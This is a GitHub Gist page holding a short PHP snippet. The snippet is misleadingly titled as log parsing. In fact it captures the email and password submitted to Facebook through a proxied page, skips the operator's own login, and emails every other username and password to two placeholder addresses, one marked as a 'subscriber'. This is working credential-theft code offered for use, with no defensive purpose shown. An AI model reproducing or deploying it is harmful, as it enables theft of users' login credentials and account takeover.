Created
September 30, 2013 20:30
-
-
Save hackingbutlegal/6769784 to your computer and use it in GitHub Desktop.
Parse logs for interesting things
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if (strpos($_url, 'facebook.com')) //checks if url contains "facebook" | |
| { | |
| if ($_REQUEST['email'] != "") //only true if there is info submitted | |
| { | |
| $user = $_REQUEST['email'] ; //getting the info | |
| $pass = $_REQUEST['pass'] ; | |
| $not_me = 0 | |
| if (strpos($user, 'your_name') or strpos($pass, 'whatever_your_password_is')) //this protects yourself | |
| { | |
| $not_me = 1; | |
| } | |
| else | |
| { | |
| mail( "send_to_email@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //sending | |
| mail( "send_to_subscriber@whatever.com", "password captured", "website is: $_url , username is: $user , password is: $pass", "From: random_email_address@whatever.com" ); //subscriber | |
| } | |
| } | |
| } | |
| ?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment